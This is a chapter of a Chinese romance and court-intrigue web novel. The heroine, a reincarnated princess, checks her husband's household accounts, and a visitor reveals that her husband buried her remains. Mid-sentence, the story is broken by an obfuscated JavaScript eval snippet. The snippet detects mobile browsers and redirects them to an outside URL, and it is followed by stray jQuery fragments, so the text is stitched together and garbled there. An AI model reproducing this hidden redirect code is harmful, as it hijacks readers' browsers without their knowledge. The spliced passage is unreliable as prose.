26. 殓骨

作品:《当我嫁给前世死对头

    一片寂静中,唯有竹音面前碗筷发出清脆碰撞的声响。


    糖醋鱼肚上的肉被她挖了个空,酸甜酱汁包裹着鲜美鱼肉外酥里嫩,竹音慢条斯理地吃完,抬眸看着他俩。


    “怎么不说了?”


    裴御景唇抿成一条直线,去拉竹音的手说:“吃饱了?我们要回去了。”


    竹音依着裴御景拉拉扯扯,临走之际就像在松塘镇萧玦送他们那晚一样,忽然停住脚步,回头喊道:“萧公子。”


    萧玦挑眉看向她。


    竹音微微一笑,语调轻柔地说:“你要是真替栖梧公主惋惜,可以去她的墓冢哭诉个三天三夜,或者找下赐婚旨意的陛下聊聊,我觉得会更有用些。”


    “难为你重情重义,栖梧公主要是知道了,一定会保佑你能为大晋鞠躬尽瘁的。”


    好恶毒伶俐。萧玦不在意地垂下眼,心中已有定数。


    -


    饭吃得不尽兴,竹音闷闷不乐,裴御景倒是心情尚好,甚至路过首饰铺,很有情调地进去给她挑选珠钗。


    一旁支着个小混沌摊位,竹音不知什么时候被勾引去那里,笑容爽朗的摊贩老板问她要吃什么?


    没一会,热腾腾的骨头汤小混沌被端到了面前。


    竹音专心致志吃完,裴御景刚好来付钱。


    牵过她的手,将选好的粉玉蝴蝶钗佩戴在她发髻上,晶莹蝶翼振颤,栩栩如生。


    裴御景唇边浮起笑意:“好看。”


    竹音心情美了,悠悠往前走着,任由他摩挲自己的手陪在身侧。


    回府时贺管家已将大部分行李都收拾妥善,渊明当然也勤勤恳恳跟来了汴京。其他的暗卫们都躲在暗处,说不定,刚才一路上正目睹了主子和夫人如胶似漆的画面。


    竹音对镇南侯府熟悉又陌生,熟悉的是从前经常来,陌生是因为至少已经有三四年没踏足过了。


    天暗下来后,就有人从后院悄然进入求见镇南侯。


    彼时竹音坐在侯府的书房内晃着双腿,看裴御景世子时期写的文章,还有一些被保留下来的太学功课笔记,屋外渊明的声音响起:“主子,人已经来了。”


    听着有人进来的脚步声,竹音稍抬起头。


    隔着一道屏风,瞧见裴御景在面见心腹。


    总共有三人,听声音依次在向裴御景汇报有关汴京的消息。


    竹音对其中一人的声音有些印象,是之前她针对过的一个户部官员。


    裴御景就这么让他们进来不避着她,或者也该找个理由支开竹音,哪能这么光明正大。


    换种思路想,当初自己赶他出汴京,居然未动摇到其势力根基,镇南侯果然心机了得。


    虽然有些惊讶,但此时此刻竹音心里倒没什么挫败感。


    成王败寇,愿赌服输。


    思绪飘远了些,那三人汇报完,很快离开书房,一股淡淡檀香沁入鼻尖,裴御景穿过屏风,抚摸竹音枕在自己儿时文章上的脑袋,“困了?”


    竹音睁开困倦正浓的眼,看清一瞬后又闭上,含糊嗯了声。


    裴御景将她抱进怀里,大氅裹得她严严实实,一路平稳地回到寝室。


    将人放上榻时,终是没忍住在她额头落下一吻,珍视而小心翼翼。


    竹音闭着眼,心跳如鼓。听到裴御景离开寝室的声音,一片黑暗中她垂着眼眸,抿了抿唇。


    -


    回京翌日,裴御景进宫面圣,果然如他所料,天顺帝不仅让他官复原职,还一改之前的猜忌,和颜悦色地与他寒暄。


    从宫中出来时,于半道被人叫住。


    正是前段时间救驾有功的梁尚书,似是偶遇,“镇南侯,别来无恙。”


    “梁大人。”裴御景皮笑肉不笑地回。


    既没有显露敌意,也绝无狼狈为奸的打算,镇南侯这种人最是难以对付。


    梁庸语气和缓,像是与晚辈闲聊,“不知镇南侯在南浔过得可还惬意?当初老臣就向陛下极力证明你与那作弊之人并无干系,可陛下也有自己的考量,我等实在人微言轻。”


    裴御景单从脸上瞧不出任何情绪,道:“南浔又不是什么穷山恶水,本侯权当是去散心。”


    梁庸咳嗽一声:“南浔是好。镇南侯可曾听闻一桩疑案,宣州下县的前知县不幸遭难,家里被洗劫一空,直到如今也没查出是何人所为。”


    “我怎么会知。”


    “南浔与宣州相近,镇南侯略有耳闻也不稀奇。”


    裴御景道:“查案是大理寺的事,或许梁大人找错人了罢。”


    说罢镇南侯含笑作揖,从容有度地踏上马车远去。


    -


    竹音这几日在府中管账。


    在南浔时她的确没想过与裴御景牵扯太深,因此能躲则躲。


    但也许是他们感情越发好的缘故,她不再那么抵触。


    回京前元逐昀对她说的肺腑之言总在脑子里打转,从前自己一叶障目而不自知,如今她可不想什么都被瞒着。


    也因那时年少气盛,彼此都呕着气,现在想来,哪有什么越不去的坎。


    竹音想通以后,专注手中的账册明细。侯府名下的商铺、田庄每一项都记录得清清楚楚,扫一眼便知个大概。


    这些之前一直是由贺管家打理,并无不妥,只是有一点让她有些在意。


    竹音翻了翻怎么只有前年的账本,去年在南浔的呢,难不成都没带回来?


    遂看向贺管家,听到他是这么回答:“是这样的夫人,待在南浔所行花销记录都放在行老夫人那了,本来以为在南浔待不长久,刚去那会侯爷顾及外祖父家,也就是南浔行氏亦在此定居,多有来往赠礼,因此花销多些。”


    竹音不置可否,心想当时贺管家把府内近半年账本留在观云苑时,怎么不想着去翻翻。好过现在看出去年一年花销庞大,心中起疑。


    要说是与行家赠礼有关,也说得过去。


    半夏放下温度适宜的龙团胜雪,劝道:“夫人,您都看一天了,不然歇歇罢。”


    竹音抬头瞧了眼外边,暮色寂寂,余晖落进屋里。


    平常这个时候裴御景早该回府,但今晚他要去兵部尚书韩慎家中赴宴,与她说过会晚些回来。


    裴御景回京后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069361|194942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不常去应酬,这次韩慎相邀,倒一反常态地应下了。


    当年裴父战死,户部和兵部双双问罪,韩慎便是在那时升为兵部尚书。


    韩慎在那之后不止一次对已故老侯爷表达惋惜,待裴御景更是关爱有加,当做亲子侄对待,甚至有意将自己的宝贝女儿韩滢许配给他。


    后来裴御景袭爵,未与那韩家结为亲家,可与韩慎关系到底如何,不好说。


    竹音想了一会,倏然听见下人进来禀报道,“夫人,萧侍郎登门拜访。”


    哦,萧玦。


    萧玦入仕后在吏部挂职,可毫不夸张地说,就没见他做正经事。这些年一直在外面游历,活脱脱纨绔之典范,就连萧家自己人也拿他无可奈何。


    竹音蹙起眉,现在裴御景不在府里,他来做什么?


    会客厅堂,萧玦耐心等着竹音款步而来,抬眼对视时目光有些懒散不羁。


    “我是来找你的。”他如此笑道。


    出于过往经验,他定是不怀什么好心,竹音转头先让下人们出去了。


    然后问:“找我何事?”


    萧玦不与她打哑谜,道:“栖梧,宋栖梧,不打算和我说说现在是什么情况么?”


    竹音神色莫测,过了许久,轻笑声:“萧公子在说什么?我怎么听不懂?”


    萧玦鄙夷道:“我能来找你必是有几分把握的,你大可不用在我面前还演什么贤良淑德。”


    竹音深吸口气,坐下与他对峙道:“……我不明白,你是怎么察觉出的?”


    “我在松塘镇初次见你,只以为世上竟有这般碰巧的事,并未放在心上。但问题是,如果只是相貌相似,裴御景不可能把你带回汴京,要么是你蒙骗他太深,让他色令智昏到无药可救的程度,要么是你的身份不简单。”


    “我好歹也算你的熟人,你还活着总比知道你死了强,你在汴京出现,其实很让我诧异,而你能在我面前维护裴御景,总不能是个赝品罢。”


    竹音争辩:“是你挑衅在先。”


    “这就很像宋栖梧会说的话,所以我才能认出你,”萧玦笑了下,转而目露不解道:“可我明明记得,裴御景收殓了你的尸骨。”


    此言一出,犹如一个巨大冲击席卷而过,尚来不及深想,竹音脱口而出,“你说什么萧玦?是他帮我……”


    她早就认清事实,自己死在了孤寂一人的和亲路上,不用想都知道有多么凄惨,天顺帝口口声声说痛惜阿姐,追封她为长公主,汴京城乃至大晋都知道陛下重情义。


    多可笑啊,让她去送死的不就是天顺帝么?


    她再也没有至亲之人,亦从未想过会有人愿意为她收殓尸骨。


    “是啊,我亲眼所见。”


    萧玦淡声说着:“知道你死讯的第五日,埋在风沙下你的身体已经腐坏,我们就近找了块好地方,铲土放入,我还拍着裴御景的肩膀,劝他想开些,至少……”


    “——刎颈而亡,死得不会那么痛苦。”


    “你能不能少说些欠打的话!”竹音气息不稳地道。


    她说完抬手覆上自己的脖子,久久不语。